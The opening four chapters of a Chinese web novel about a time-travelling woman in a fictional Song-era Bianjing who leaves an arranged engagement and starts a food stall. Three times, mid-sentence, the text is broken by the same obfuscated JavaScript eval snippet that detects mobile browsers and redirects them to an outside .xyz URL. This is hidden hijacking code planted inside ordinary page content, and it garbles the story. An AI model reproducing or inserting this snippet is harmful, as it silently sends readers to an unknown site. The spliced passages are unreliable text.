《汴京食味记》 1. 第 1 章 汴河之上舟楫如林，上下船人流络绎不绝，漕船缓缓驶入汴河南岸的角子门，一等停靠稳当，立即有穿着汗衫的民工争上前来搬运货物。 乌泱泱人群中，阿盼紧攀着自家小娘子的胳膊，另一只手则努力抵挡人群：“让让，让让……” “哎你——” 被踩了脚的书生原想发火，一转头，晃了晃神。 “请问这位郎君，可知景福寺怎么走？”虞蘅眼睛笑弯起来。 码头从来离别多，下船的要么背井离乡，失魂落魄，要么久别重逢，喜极而泣，虞蘅这样怡然，叫人看了心情也好起来。 书生红了脸，嗫喏好一会儿才反应过来，殷勤替她们指路：“……两位娘子往北走，过了丽景门，东一条甜水巷①前头就是了。” “多谢郎君！” “不谢，不谢。” 书生手忙脚乱还礼，直至晕乎乎的目送完两人离开，还踮着脚向人群张望呢。 顺着那书生所言沿汴河一路往北，天色湛蓝湛蓝，微微有些云絮，树梢上雀儿啁啾不停，聒噪中蕴着几丝欢快。渡口行船扰了凫雁争渡，惹得水面波皱，云影散乱，又很快归于原状。 方才在船上，隔堤可见两岸烟柳绵延，彩楼欢门②林立在一片浓青淡绿的雾蒙之间，进了内城，更是热闹。 宝马雕车竞驰过，从旁更有各色摊贩熙攘，小食摊上热气蒸蒸，粥水肉汤面点飘香，荷担的贩儿沿街叫卖，自家种的水灵菜蔬，今晨刚从河里打捞起的新鲜鱼虾……官署大门上涂的朱漆在日光下熠熠泛着光，门口立着一对儿气派石狮。 这样的街景，饶是生于江南富庶之地的虞蘅也没见过，眼睛都有些不够用了。 婢子阿盼一步三回头地连连惊叹：“东都果然阔气！这路又气派又宽敞，都能跑十头骡子了！” “噗嗤——” 一道不算友善的嗤笑紧接着话音落下，二人闻声侧过头去，是个锦衣玉裙的豆蔻少女。 阿盼涨红了脸。 见她们瞧过来，扬了扬精致的下巴，唇边犹带讥诮，“近日城里的乡巴佬是越来越多了，真个少见多怪。” 说罢，便袅袅婷婷地被拥着进了临街一家首饰铺子。 虞蘅一把将忿忿的阿盼拽住，哄道：“不必与人家作口舌之争！” 端看那铺子，装潢典雅精致，便不是寻常人家能消费得起的。 再看那间掌柜伙计，迎面碰来，脸上笑褶皱如菊花，殷殷勤勤，显然是老主顾了。 最主要还是对方马车上挂的裴氏族徽，若她没打听错的话，时任开封府尹便姓裴。 而她那位姨丈，是开封府尹手底下小小判官。 所谓人情世故啊！都在里面了。 虞蘅觉得，自己着实是个懂事体面的穷亲戚。 —— 一路不是很着急地溜达过去，按着信中地址，总算找到了表姨家。 才新置的宅邸，瞧起来却很有年头了，门上青漆剥落，布满细裂，青苔肆意从砖缝中滋出来，绿油油静幽幽。 虞蘅心中生出无限感慨。 没想到家书中总是风光无限的姨母，过得也还是普通人生活。 没想到繁华锦绣的汴京城，也有小镇一样的烟火气。 没想到她竟真有一天来到了这里，离家千里远，嘿！能耐！ 阿盼拍了拍门上的铜环，“叩叩”声回荡在僻静的巷弄中。 足足一盏茶功夫过去，却是无人应答。虞蘅没了打趣的轻松心情。 按说她们的书信早在十日前便送到了韩府，不叫人等着接便罢了，这是怎么个意思？ 隔壁的住户听见动静出来，见她们两个年轻娘子挽着大小包袱，不免好奇：“你们是韩判官什么人？” 对面是位年长的妇人，虞蘅福礼，言简意赅：“是这家主母的表亲……家中亲长不在了，前来投奔。” 她穿身半旧的杭绸袄儿，月白绉绸裙，上头绣着星星点点的柳叶，天青水碧般浅淡。一双杏眼流转，氤氲着江南柔情，水蒙蒙的，一看便知打南边来。 这样式的美人京城少有，邻居妇人却在别个家见过，也是来投奔的表姑娘，乖倒是乖，说起话来细声细气，吃烟喝风似的。偏虞蘅神情语调皆清脆，不至于柔弱了。 模样长得乖巧，嘴又甜的小姑娘是很容易讨这种上了岁数和辈分人的喜欢的，邻舍眼中露出几分同情：“今日又没见他们家人出门，定是守门的婆子犯了懒。” 又热心肠地邀她进家门坐会。 盛情难却，虞蘅推了又推，好在她从小应付类似热情长辈已经很有经验，漂亮客套话说得妇人见牙不见眼。 若非家里媳妇喊，只怕还要杵在门口与她说好半天话。 天色渐渐黯淡，阿盼将门板拍得咚咚响。 虞蘅盯着看了会儿，笑道：“算了，先找个邸舍住下吧。” 她在家早说不来不来，这下真是丢人丢大发了。其实说是投奔亲戚，不如说她年龄大了，族里长辈急着催她履行婚约，这才不远千里奔来。 不过几句戏言耳，别人记不记得都不一定。况且自己家里只剩个孤女，又没了钱，记得也赶紧当穷亲戚打发了。 待她们走后，过了一会儿，有个四十来岁的仆妇开了门，一双眼睛滴溜溜扫射着门外，不见她们身影，才放心地合上门。 这一切，都被转角盯梢的两人尽收眼底。 虞蘅哼笑，看吧。 阿盼见识到人心险恶，愤愤不平：“偏等我们走了才出来，保不齐就是主家授意的，蘅娘子日后可千万别信这家人好话！” 虞蘅安抚地拍拍她。 实则对于这门婚，她也不是很热衷，只不过就这么明晃晃被嫌弃、拒之门外，那也太凉薄了些。 二人背着包袱沿路寻邸舍。 韩家虽不显赫，宅邸却选得好，坐落在汴京城东南，周边水质清甜，生活也便利。往北直走就是瓦子，入夜后十分热闹，南面则多是道观跟寺庙，跟赫赫有名的大相国寺就隔了三条街，故周边总缭绕着浓重的香火烟熏味。 不少专程来汴京上香还愿的香客都会选择在此附近落脚，邸舍选择很多，甚至还有专门接待女客的，价格也实惠。 路过不少门前竖着彩门欢楼的酒家，阿盼眼睛脖子都直了，走出去老远还在回头。 不说她，虞蘅自个也很想豪横一把，然而算算身上盘缠，还是算了。 二人走进一家普通邸舍③，只要了一间中等客房。 那掌柜看她们外来人士，还热情推荐她们去到附近瓦子逛逛。 瓦子于本朝人民来说，是个消遣的好去处。即便不花几个钱，也能看一场杂耍竞技，里头还兼卖些吃的玩的，设有坐席，随吃随走随坐，通宵营业。 虞蘅前辈子是个能熬的，假期从来没两点以前睡过觉，也被这汴京夜生活给吸引了，便带着阿盼出门散心。 今日下马威已给了，想来明日应当会爽快给她开门，只是说不得还要如何打机锋、被挑剔……族里既去了信，不登门是不行的……想到这些，虞蘅便已经开始烦了，正出神着，肩头忽被人撞了一下，一群孩童互相挽手急匆匆朝前跑去，接着一道烟火呼啸着在头顶炸开，亮彻夜空。 虞蘅抬眼，才发现已经到了瓦子街口，内里锣响喧天，人声嘈杂，灯火满街。 岂止是里边，瓦子外围是路岐人的地盘，“锵”地一声，杂耍影戏、说书口技，随时都有好戏开场。 道路还旁摆着不少琳琅满目的小摊，贩儿叫卖声不绝于耳，向过路人推销着自家东西。 阿盼到底年纪小，转眼就忘了刚刚的烦忧，拉着她在人流中凑热闹，嘴里兴奋说个不停：“蘅娘子，蘅娘子，那人怎的跑天上去了！这莫不就是传奇里的轻功？” 虞蘅顺着她话抬头，几米高空上，街道两面的酒肆仅靠一根绳索牵连着，杂技人要从这头走到那头上菜，再返回来才算走完。 没有任何安全措施，完全靠苦工技艺，比后世走钢索还高难度。 期间杂技人几次差点踩空，底下的人就跟着“啊啊”地叫，比吃了川饭④还上火烧心。 待安安稳稳结束之后，赏钱堪比潮水。 阿盼才从有惊无险中收回神思，一会儿看见相扑，又义愤填膺起来：“那么大块头欺负个弱女子！” 结果下一瞬那瘦瘦小小的选手反将对手给扳倒了，人群中爆发出阵阵喝彩，选手面前的铜板堆得有小山那么高。 阿盼瞧瞧那堆钱，再瞧瞧虞蘅，悄悄捏了捏自己的大臂。 虞蘅佯装没看见，不过一会儿，她就又被唱杂剧的给吸引了去。 这样的热闹，在汴京从不算稀奇事，日日夜夜都有。 再次从人群中挤出来时，两人手上都多出来三四样零嘴点心。 阿盼嘴里含着酸杏干，吃得啧啧有味，不免感慨：“难怪我阿爷去了一趟州府便总念叨说是泼天的富贵，等我老了，也要与孙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092331|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女吹嘘今日见识过的盛景。” “这才哪到哪？咱们要在汴京常住，比这更热闹的都有。”虞蘅笑道。 “可您要是嫁到韩家去，哪还能这样自在？” 阿盼虽然年纪不大，但在那牙婆船上结识了几个小姊妹，她们当中有的人已经被卖过一遭了，是从贵人府里出来的，平日有时候会给她们讲贵人的规矩。 阿盼快人快语，虞蘅也没嫌过她什么，此时也就直说了。 这话就像一兜子冷风，将虞蘅初入汴京见识过繁华迤逦后有些发热的头脑给扑得冷静了些。 冷静地躺在邸舍干净无味但有些硬的床上，虞蘅成功失眠了，失眠就容易多想，而不知道前世看了哪个专家研究表明，夜里的想法总是格外天马行空。 汴京繁华热闹，不比前朝长安宏伟，但毋庸置疑，拥有烟火气的它很适合市井生活。 本朝没了宵禁，又将坊市合一，大大解放了老百姓的活动时间跟范围，商贾经营也自由了许多，夜市直至三更尽，五更复又开张。只要肯交税，街旁、桥头、巷弄，都能做生意。 而且，自从那位同为穿越者的前辈扇动蝴蝶翅膀时，这个“宋”朝的走向就开始跟史书上南辕北辙了。 于朝，国朝并没有重文抑武，反而一鼓作气夺回了燕云十六州，世人乃不知徽钦二宗，更无论靖康之变。于民，风气上沿袭了前朝的开放，就算如今她们两个年轻女子这么晚在瓦子内闲逛，也没有太多人注意。 虞蘅骨子里的商人血统又在蠢蠢欲动了。 上辈子，她本科毕业后当牛做马两年，裸辞接手爸妈经营了半辈子的餐馆，还没来得及做大做强，阴差阳错穿越了。这辈子生在苏商之家，打小便耳濡目染家中长辈是如何谈笑间将所有不利局面轻松化解的，虽然有玛丽苏外加自卖自夸嫌疑，但多少有些心得。 起了这念头之后，虞蘅翻了个身，心态稳了。 次日再寻到韩宅，心境已经全然不一样了。 既要她“知难而退”，当然要退得干净。不能“心照不宣”，更不能是“口头托词”，免得“死灰复燃”。 再者，当初自家富贵，结亲是他们求着，如今反悔了——她这一路上的路费花销、昨天精神损失，也得合计合计不是？ 虞蘅眼睛弯起，再面对那毫不避讳打量的仆妇，甜甜地自报了家门。 那仆妇将眼一斜，侧身把人迎了进去，嘴上还不停絮叨：“蘅娘子怎的才来，夫人等了许久，这会正午憩着……您且在偏房坐着等会儿吧。” 语气、态度皆算不上恭敬。 虞蘅垂目：“劳表姨挂念，又怎好再打扰？我便在偏厅等表姨醒来，再去拜会。” 见她规矩礼节妥当，并无错漏，这仆妇心里的轻鄙才稍稍去了些。 韩宅占地不多，两进的院子，进了正门，绕过影壁，前头乃韩嗣丰与长子韩祯书房，栽着几杆瘦竹，过仪门，内院有一间正房并两间偏房，与东西厢房连着抄手游廊，带个巴掌大的小院，四角种些花花草草。 宅中下人不多，一路行来只见零星两个洒扫婆子，虞蘅被带至正房偏厅稍坐，好一会儿有婢子端来茶点，虞蘅只咬了小半口便被腻住了槽牙，借茶的苦涩总算将甜味压下去后，便安静坐在位上等待钱氏醒来。 姨甥见面，难免说起几年前虞蘅父母意外身故之事。 钱氏拉着她手宽慰，自己却红了眼圈：“我只有你母亲一个姊妹，如今先我而去，怎么不伤心！” 虞蘅凑近，闻见一股子姜辣味。 目光落在那绣帕上，温声宽解了钱氏几句。 门口传来脚步声，一弱冠青年阔步走了进来。虞蘅抬眼，对上一张眉目清秀的脸，穿士子白襕，很是温润。 想来这小白脸就是她那前途光明的太学生表兄了。 钱氏擦干泪，给二人互相介绍，“祯儿，这是你蘅妹妹。” 虞蘅起身见礼。 韩祯眼中掠过一瞬的惊艳，起初听闻那个破落商户表妹要来的不悦已被冲淡了大半。 心思千回百转，面上又是作揖回礼，又笑道：“阿蘅在家有什么不惯的，尽管说，莫把我们当外人。” 钱氏也道：“做兄长的是该让着妹妹，日后别叫我知道你欺负阿蘅。” 又拉着虞蘅手含嗔带笑：“这孩子仗着几分才气，性子全被他爹惯坏了。” 钱氏真是个体面人。 虞蘅一笑，撒着娇应了：“姨母真好！” 2. 第 2 章 寄人篱下，求人庇护，自然要表现一番。 虞蘅自诩俗人一个，身无别技，只一手厨艺还算过得去。见院子里玫瑰开得好，便和阿盼两人捡了落花洗净，加糖杵成泥，再用瓶子封起来，倒上蜜，腌半天，去了苦味，便只剩香和甜。 挑一匙子冲茶、泡酒、做糕，都很好，钱氏尝了后赞不绝口，剩下的就用瓷瓶子封好，留着招待做客的女眷。 钱氏喜欢，虞蘅便隔几日做一些，一来这东西留不大久，二来显得她诚心可贵么。 这日里又做了些鲜花饼，打算给钱氏送去。 钱氏不嗜甜，饼里香糯清甜的馅儿正合她心意，再配一壶沏得浓浓的热茶，能消磨整个下午。 一个个圆而扁的小饼乖巧躺在浅口碟中，淡黄酥软，不说味道如何，光靠颜值就很能打。 阿盼惊异得很，原来她们蘅娘子厨间功夫竟这般精湛么！那些花大价钱、大力气培养出来的厨娘，也莫过如此了吧？ 见过她做这鲜花饼，才知要花多少心思在里面。 面团加了油酥，又是揉，又是擀，包进馅儿去烤，两人守在灶前，满屋子香味，甚至盖过了锅里炖肉，先前的玫瑰卤子都不算什么了。 刚烤出来，便纵着阿盼先尝了一块。 一口咬下去大半，花香在口中漫开，只觉置身花丛，被盛开的玫瑰包围了似的。 阿盼从前过惯了苦日子，第一次吃到这么好吃的饼，恨不得连舌头都吞下去，哪里还管昨日才说要学礼仪的话，两口便把巴掌大的饼给解决了。 看阿盼囫囵吞饼的架势，虞蘅虚荣心得到了极大满足，笑道：“莫急，多的是，下次也还做。” 阿盼有点不好意思地嘟囔：“好吃是好吃，也太费劲了些。为这小小几枚，从晨起就开始忙活。” 虞蘅笑道：“只要表姨喜欢，费些功夫不算什么。左右眼下我们最不缺的就是时辰跟力气。” 阿盼不解，蘅娘子早先不是说想自己立门户么？怎么如今在韩家后宅却很安然的样子。 这般想着，便也问了。 虞蘅卖了个关子：“日后你便懂了。” 阿盼的确不大懂，毕竟她是逃荒半道被家人卖了，随牙婆辗转，在码头遇上的虞蘅，才被当时即将登船北上的虞蘅买下，并没有多久的交情。 那牙婆是个看人下菜碟的，足足要了虞蘅五贯钱。是以虞蘅明明带了足够盘缠，却还在船上过得紧巴巴。有船工见虞蘅身上穿的虽旧，却都是好料子，还带了个奴婢在身边，以为能宰一笔，不想她死抠死抠，遂没什么好脸色。 五贯钱，在阿盼的认知里是她们家五口人半年的嚼用，自己只不过是个粗笨的丫头，实在有愧于蘅娘子。 可来了汴京才知道，原来五贯钱在这只够一桌中等席面的钱。 也难怪初入汴京那天，那华服小娘子会嗤笑她们了。 虞蘅不知道自家婢子心里的小九九，越发精益求精，觉得这样尚有些单调，便去院墙边摘些粉白蔷薇点缀。 她生得高挑，不必踩墩子，踮脚去够高处最鲜妍的那一朵。 衣袖打落花瓣，纷纷扬扬仿佛下了一场花雨。 三月春光肆意明媚，院子里郁郁葱葱，穿碧色衫子的美人更是对眼睛格外友好，韩祯读书累了，便站在廊下欣赏，眼神专注热切。 钱氏出来恰好瞧见这幕，想起邻舍妇人打趣的言语，心下一咯噔，回去便寻心腹丫鬟来说话。 —— 在韩宅住了几日，钱氏闭口未提昔年定下的婚约，倒是韩祯打发过几次人来送东送西，又邀她出门踏青春游，虞蘅并不每次都应，不过还是跟着他略逛了逛汴京城。 结果阿盼偶然发现钱氏正向官媒打听周遭未婚的富户，赶忙回来朝虞蘅告状：“蘅娘子一心想着钱夫人，她却不似长辈模样！” 虞蘅垂下头，全然一副小女儿家羞涩模样：“别乱说话，表姨为我操心，不过是不想叫我嫁过去吃苦罢了。” 阿盼气鼓鼓地走了。 虞蘅眨眨眼，没有错过屋外一闪而过的白襕衣角。 钱氏会这么着急，也是察觉到自家儿子态度的转变。韩祯么，见色起意，道貌岸然，恐怕正做着贤妻美妾的大梦，正得意自己三言两语便哄得佳人欢心，要知道钱氏正为她相看，不得着急？ 那她偏不急。 果不其然，半下午时，忽然钱氏身边的仆妇唤她过去。 虞蘅点头：“这就来。” 进了正屋，钱氏在那站着，面色是真纠结。 “表姨要说什么？”虞蘅目光澄澈地看着钱氏。 十几岁的姑娘，还梳着两个环髻，两腮微肉，站在她面前活脱脱就是当年的表姊。 钱氏这人吧，重利好面子，偏拧巴装假清高，少女时不服管教偏要嫁给现在的官人，几十年宦海沉浮，没真的大富贵过，如今也不敢问自己心里后悔没有。 一想到学问优异前途光明的儿子，钱氏的心硬了几分，故意冷了对方一天，想叫她知难而退。只是到底还有两分顾念亲情，叫人留在自家住了下来。 平心而论，这些天虞蘅的乖巧她都看在眼里，若非她家道中落，不能给祯儿支撑，二人既是姨甥，她是极愿意叫她做自家媳妇的，这样的性子样貌，可惜。 不过既然祯儿那孩子有心，又说阿蘅孤苦伶仃，性软听话，她只好拉下脸替他问问，或许真能成。 回家乡去，无父无母的，又能说到什么样好亲事呢？ 虞蘅不说答不答应，只笑道：“母亲在时，常与阿蘅提起表姨，阿蘅印象最深当属昔年王爷微服，对表姨一见倾心，欲接表姨入王府。” 乍听她提起，钱氏竟陌生至在想，这说的是谁？ 有些恍惚，一瞬间，似乎又看见那梳三角髻少女一脸高傲：“侧妃如何，还不是与人做妾，我不做！” 然而二十多年过去，见识过京城繁华，她早已不复当年气傲。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092332|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虞蘅接着笑道：“阿蘅与表姨血脉相连，心性亦是一样的。” 钱氏脸上有些臊。 气氛沉默下来有些尴尬，虞蘅倒了盏茶推过去：“阿蘅知道，表姨怜惜我，想将我放眼皮子底下疼。” 这话是替她找补，钱氏却应也不是，不应也不是。 应下，这门亲事？她实在不愿。况且官人那儿，也不好交代。 虞蘅看在眼里，心说有戏，顺着话儿道：“实则，阿蘅进京一趟，方知天地广阔，便想效仿老祖宗当年白手起家、破釜沉舟之勇。” 她能这般说，乃是因为在本朝，女子成婚最佳年纪并非十五及笄，而是从十八至双十。 而她今岁将将十八，确实不急。 钱氏惊讶看向她，毕竟虞蘅表现一向柔顺乖巧，很难看出胸中竟有如此志向。 钱氏这些年虽然安于内宅，相夫教子，但当年能说出那样一番言论、又单单凭着“情意”便远嫁离家北上，怎么不算“破釜沉舟”呢？ 直至此刻，她才认真审视起这贸然投奔的表甥女来。 眼前的虞蘅神情依旧，然而那双总盈着雾似的杏眼里闪动着熟悉的光。年轻真好啊，自己当年亦是这样的自信。 有这样的本性，哪里是个乖的？钱氏忽觉自己与祯儿怕是都被她给骗了。 反应过来后，钱氏心里那点子羞臊、愧疚尽散了，她笑着用手虚点虞蘅：“我没有什么不许的，只是你既要闯荡，我再给你打点好一切又有什么意思？” 虞蘅再露出个微笑。 这一切还是得感谢那位也是穿越来的前辈，时下酸腐言论虽有，却不敢太狂妄，女子自由程度与前朝相差无几。 钱氏拿了十五两来，又说给她一年时间，若一年后依旧是石沉大海，这十五两便当自己打了水漂，届时她亲自送虞蘅登船返家，或留在京中，自己会替她谋一门亲事。若虞蘅的确是经商这块料，自己便不再插手她的事。 不过，钱氏话锋一转，眼里也闪过丝精光。 届时虞蘅得还给她两倍的银钱。 “料那时，这几十两对你来说不值什么。”钱氏也不装了，算盘打得极好。 虞蘅失笑，果然还是诚实的钱氏更可爱些。 这钱比起在汴京置办铺面需要的少得多，但看韩家状况，的确也不是什么大富大贵人家，靠多年积蓄买下这一处宅邸，料想不剩多少。 二人合笔写了封书信寄去给族中，言明情况，钱氏自然美化了一番自己作为，虞蘅也未拆穿，眼下钱氏是她最亲近长辈，日后同在汴京，还有走动的时机。 她拜谢过钱氏，挽着来时的小包袱，与阿盼没什么留恋地走了。 出了韩宅，无事一身轻，虞蘅又有些感慨，都说商人重利，从前她在虞家父母身上不觉，倒在与钱氏相处中体会得淋漓尽致。 恐怕连她这位表姨母自己都没意识到，面对唯一表妹留下的血脉，还是算计多过亲情。 3. 第 3 章 阿盼很高兴，一路上哼着不成调的家乡曲子，折磨得虞蘅离她五步远。 今日天色已晚，二人还得暂且找个邸舍住下，明日，再物色久居的住处。体面解决了婚约问题，族中那边也有了交代，还拉到了初始资金，路过肉市，虞蘅忽而兴起：“今天咱们炖骨头汤吃。” 在时人眼中，羊是山巅高岭之花，一年只偶尔两回能买着，毕竟是贵族肉，价钱、渠道都不好搞定，因为难得，便也显得可贵了。 牛则吃的是刺激，虽说有禁令、有刑罚，还有高额税，可没人管，吃的人一点也不少，天子脚下更是嚣张，最后官家干脆废了牛肉税。但虞蘅总嫌这会的牛肉老，但凡店家煮得久一些，嚼起来与皮筋无异，一点儿也没有后世奶香柔嫩的涮牛肉的味道。 鸡鸭鱼地位略低，严格意义上来说，甚至算不得肉。 猪肉比较特殊，先前是“贵者不肯吃，贫者不解煮”①，穿越前辈狂搞基建多同时，大刀阔斧改善了许多民生需求，也没忘了教人们阉猪。是以，这时候的猪肉跟虞蘅上辈子吃的猪肉并没太大差别。 但士大夫中风气仍在，更有顽固守旧古董唾弃豕肉为“贫贱困苦者食之”。 在虞蘅老家，猪肉是平民打牙祭的存在，就是不知道汴京如何了。 虞蘅挑了家生意不错的肉铺，今日只得了一头羊，早早就卖光了，牛肉、猪肉还有不少。 她这一路逛来买了不少米粮日用，店主老远瞧见了，本是带着笑迎上来，却听她要那些没人买的豕骨，脸色略冷了冷：“五文钱。” 虞蘅并不以为耻，笑吟吟地：“多谢了。” 阿盼忍着在外没有拆台，等寻到了邸舍，进了厢房才问：“蘅娘子怎么买这些没人要的骨头？” 虞蘅最近爱上了跟小姑娘卖关子，偏不急着说。 借了邸舍的厨房，虞蘅将排骨斩小，浸冷水里泡出血水，又将买来的萝卜切滚刀块，统统倒进锅里炖上。 她刀起刀落十分痛快，震得案板都嗡嗡作响，旁边的庖厨诧异地投过来好几眼，开始见虞蘅模样还以为是娇滴滴的贵女，没想到竟这般利落。 阿盼更是已经呆了。 她见过虞蘅做玫瑰卤子、做鲜花饼，无不风雅精细，便是比起京中那些贵女也不差，却没想还能将这菜刀舞得虎虎生风。 阿盼对虞蘅越发信服起来，我家蘅娘子这般人物，做什么都会成功的。 今天排骨买得好，足够新鲜，鲜红的肉渣紧紧附在白色软骨上，虞蘅剁排骨时几乎能想象出咀嚼时那嘎嘣脆的口感。 炖萝卜排骨汤亦有讲究，多方放排骨，少放萝卜，少加水，要慢火煨。 这可不是说笑，虞蘅有十分的自信，照这法子去做，一尝便知。 “好吃！” 阿盼这丫头先前还不以为意，眼下面对一大钵热腾腾的萝卜排骨汤，吃得直吧嗒嘴，啃光了骨头上的肉还要去嘬骨缝，即便已经饱了，也还是再加了一碗饭，用汤泡着扒完才意犹未尽地放下碗筷，骨头渣子堆成了小山状。 在家时，哪里轮得到她吃肉？ 虞蘅眼里带笑，给自己也舀了一碗，唔，好喝。 烫、浓、香、稠，比起排骨，虞蘅更喜欢那已经煮透的萝卜，软而不烂，一咬几乎溅出汁水，又吸收了肉味，鲜甜鲜甜。 春天的萝卜还成，水分不至于流失得太厉害，用来和排骨炖汤是绝配。 “蘅娘子还是我见过第一个能将豕肉做得这般好吃的。”阿盼捧着肚子感慨。 虞蘅笑起来，那是你们不懂欣赏好吗？嘴上却谦虚：“许是饿了，才显得格外好。” 阿盼将头摇得像拨浪鼓：“再没有比这更好的了。” 虞蘅瞧着当初圣母心泛滥而收留的婢子，跟着她养了这么些天，肉长回来不少，脸上也有了健康的红润，再养养，可以看出清秀佳人的影子了。 心中不免唏嘘，十三四岁，还是个孩子呢，若没碰上她，也不知会被卖去哪里。 城内的房子暂且租不起，即便楼店务那儿有“廉租房”，只要五百文一间，她们也抢不过那些人。 虞蘅领着阿盼出城在虹桥附近转了三天，又掏了两晚邸舍钱，才找到合适的住处。 一间巴掌大的院子，正对院门是一间正房，两边各有一间不大厢房，院门亦连着厨房，拢共四间屋子，她与阿盼各人占了一处，剩下一间则用来放杂物正好。 这样一间小院，每月租金要一千，看着数目骇人，可若是仔细算起来，其实是她捡了便宜。 汴京何等地段？她这小院虽在城郊，可离着城门不远，不过多走一段路罢了。 附近民居、商铺不少，其中不乏有品阶低的小官吏，譬如隔壁邻居户主夫妻，郎君是个身高八尺的捕快，一脸浩然正气，娘子平日在家做些绣工兼带一双儿女，人亦很好相处，头天还来帮着她们收拾屋铺，安全感十足，邻里关系和谐。 又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092333|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近汴河虹桥边上，入了夜，市井买卖尤盛，生活便利。 之所被她捡了这便宜，乃是因之前有租户在这出了事，据邻居娘子私下与她反映，入夜后常有呜咽抽泣声，闻之悚然，已经吓跑过三任租户了。 旁人嫌晦气，虞蘅却不忌讳这个，左右都是死过一次的人了，真碰上，高低让那冤鬼见识下穷鬼有多可怕。 阿盼则对鬼神敬畏得多，硬将道观求来的桃木剑跟符纸塞在了两人枕头下面。 虞蘅对新家哪哪都满意，嗯，就是家具有些旧，房顶亦有漏雨处……本朝租房前五日是不收房租的，她得赶紧趁着这几日修缮一下，实在破得用不了的便买新的，这才住得舒服啊。 薛野鹤说“人家住屋须是三分水、二分竹、一分屋，方好”②，按着这个标准去寻，没有几贯钱是下不来的。 虞蘅打量自己租下这小院，从主屋望出窗去，萧萧竹影虽没有，却有葱茏大树，时不时几丝风过，叶子便在阳光下摇曳晃眼，碎金般闪烁。若是个有闲有心的雅人，便可对窗煮茶，听风摇叶，如何不算好呢？ 虞蘅显然不是雅人，买来菜种，看阿盼熟练地锄地播种，在院墙角落种上葱、韭、蒜等菜蔬，才满意地点头：“这才有了些家样子嘛。” 太干净齐整的，那是邸舍。眼下家里虽还有些空荡荡，不过日子总归越过越红火的嘛。 阿盼有点紧张，蘅娘子平日节省，如今置办居所器具，花钱堪比流水，手上银钱约莫只剩十两余，可还够置办铺子？ 虞蘅一点也不急，收拾好家，延续了上辈子搬家之后的习惯，等太阳落山以后，穿着大T恤裤衩溜溜达达，买一堆小吃摊，打探周边环境。 当然，大T恤眼下是不必想了，但还是可以溜溜达达。 白日里虹桥边上酒肆食林立，入了夜，选择住这里的好处就更显出来了，商贩们骑着骡子拖着车儿赶来，车头斜斜插盏灯笼，一面沿路叫卖，香气逼人。 不愧是舌尖上的我朝。虞蘅吃过外表雪白内里嫣红的澄沙团子、翡翠似的莲荷羊肉兜、吃过甜香软糯的牛乳圆子，直把阿盼的脸又吃圆了一圈，直呼过瘾，那点子紧张也早忘脑后去了。 带着阿盼吃了好几日城中食摊，兜里银钱是越来越少，心里那点影子总算逐渐成了型。找匠人口述一番，定做了桌椅板凳推车蒸笼一应物什。 赶在初夏来临之前，虞蘅抓住了春天的尾巴，虞记朝食摊就这么没什么声响地开业了。 4. 第 4 章 清明以前，城中已有了些初夏的影子，百姓惯常会在这时节选择吃过暮食以后外出散凉，喧腾热闹的州桥往往是首选，今日也不例外。 有细心人发现，人来人往的桥南底下悄无声息多了个热气缭绕的小食摊子。 那摊主娘子生得一双剪水秋瞳，与人说话时，笑眼弯弯，放人堆里格外地扎眼。 她虽是头天摆摊，却一点也不含糊，肩上搭了条白布巾，挂灯笼点炉子，动作四平八稳，瞧着便是个利索的小娘子。 路人纷纷驻足去她卖的什么—— 路旁一排榆柳，已有不少摊贩摆起了桌板条凳，虞蘅也见缝插针地将摊子支在其中一棵树下。 两团朦胧淡黄的光束照亮了推车上的青布旌子，一面写着虞记，一面写着灌浆馒头。 这乃虞蘅深思熟虑后决定的主打单品。 馒头就是后世包子，有菜馅有肉馅，灌浆也好理解，灌汤包么。 眼下的灌汤包，蟹黄作馅居多，且非是贵人吃不起。曾经就有大官宴请同僚吃蟹黄汤包，最后费了一千三百贯钱。 旁人都还在踌躇的时候，最先上前问价的是个穿绮罗的商人，不差钱的主儿：“你这里头是蟹肉的？” 虞蘅笑着摇摇头，“是豕肉馅馒头。” 她可没打算只做贵人生意，那不是一般人能成的。 前期打听这片区域的居民构成，多是和她一样从外地来的商贩，也有些暂居邸店的士子，别小瞧这些人生活俭朴，实则这才是她们这种小摊小店的消费主力军，购买力不亚于后世主妇。 一笼里头六枚，纯豕肉的十五文，包了整只虾的十八文。 说贵么，就还好。 那商人听见豕肉时皱了下眉，但还是各要了一笼，据了张桌子坐下。 有几人便站在稍远些，观望他吃着如何。 虞蘅任他们观望。 她对自个捏包子手艺还是有些自信的，也经过了阿盼的盖章认证。不过这孩子瞧见吃食便走不动道，许是从前压抑得狠了，虞蘅便也不忍心拘着她。 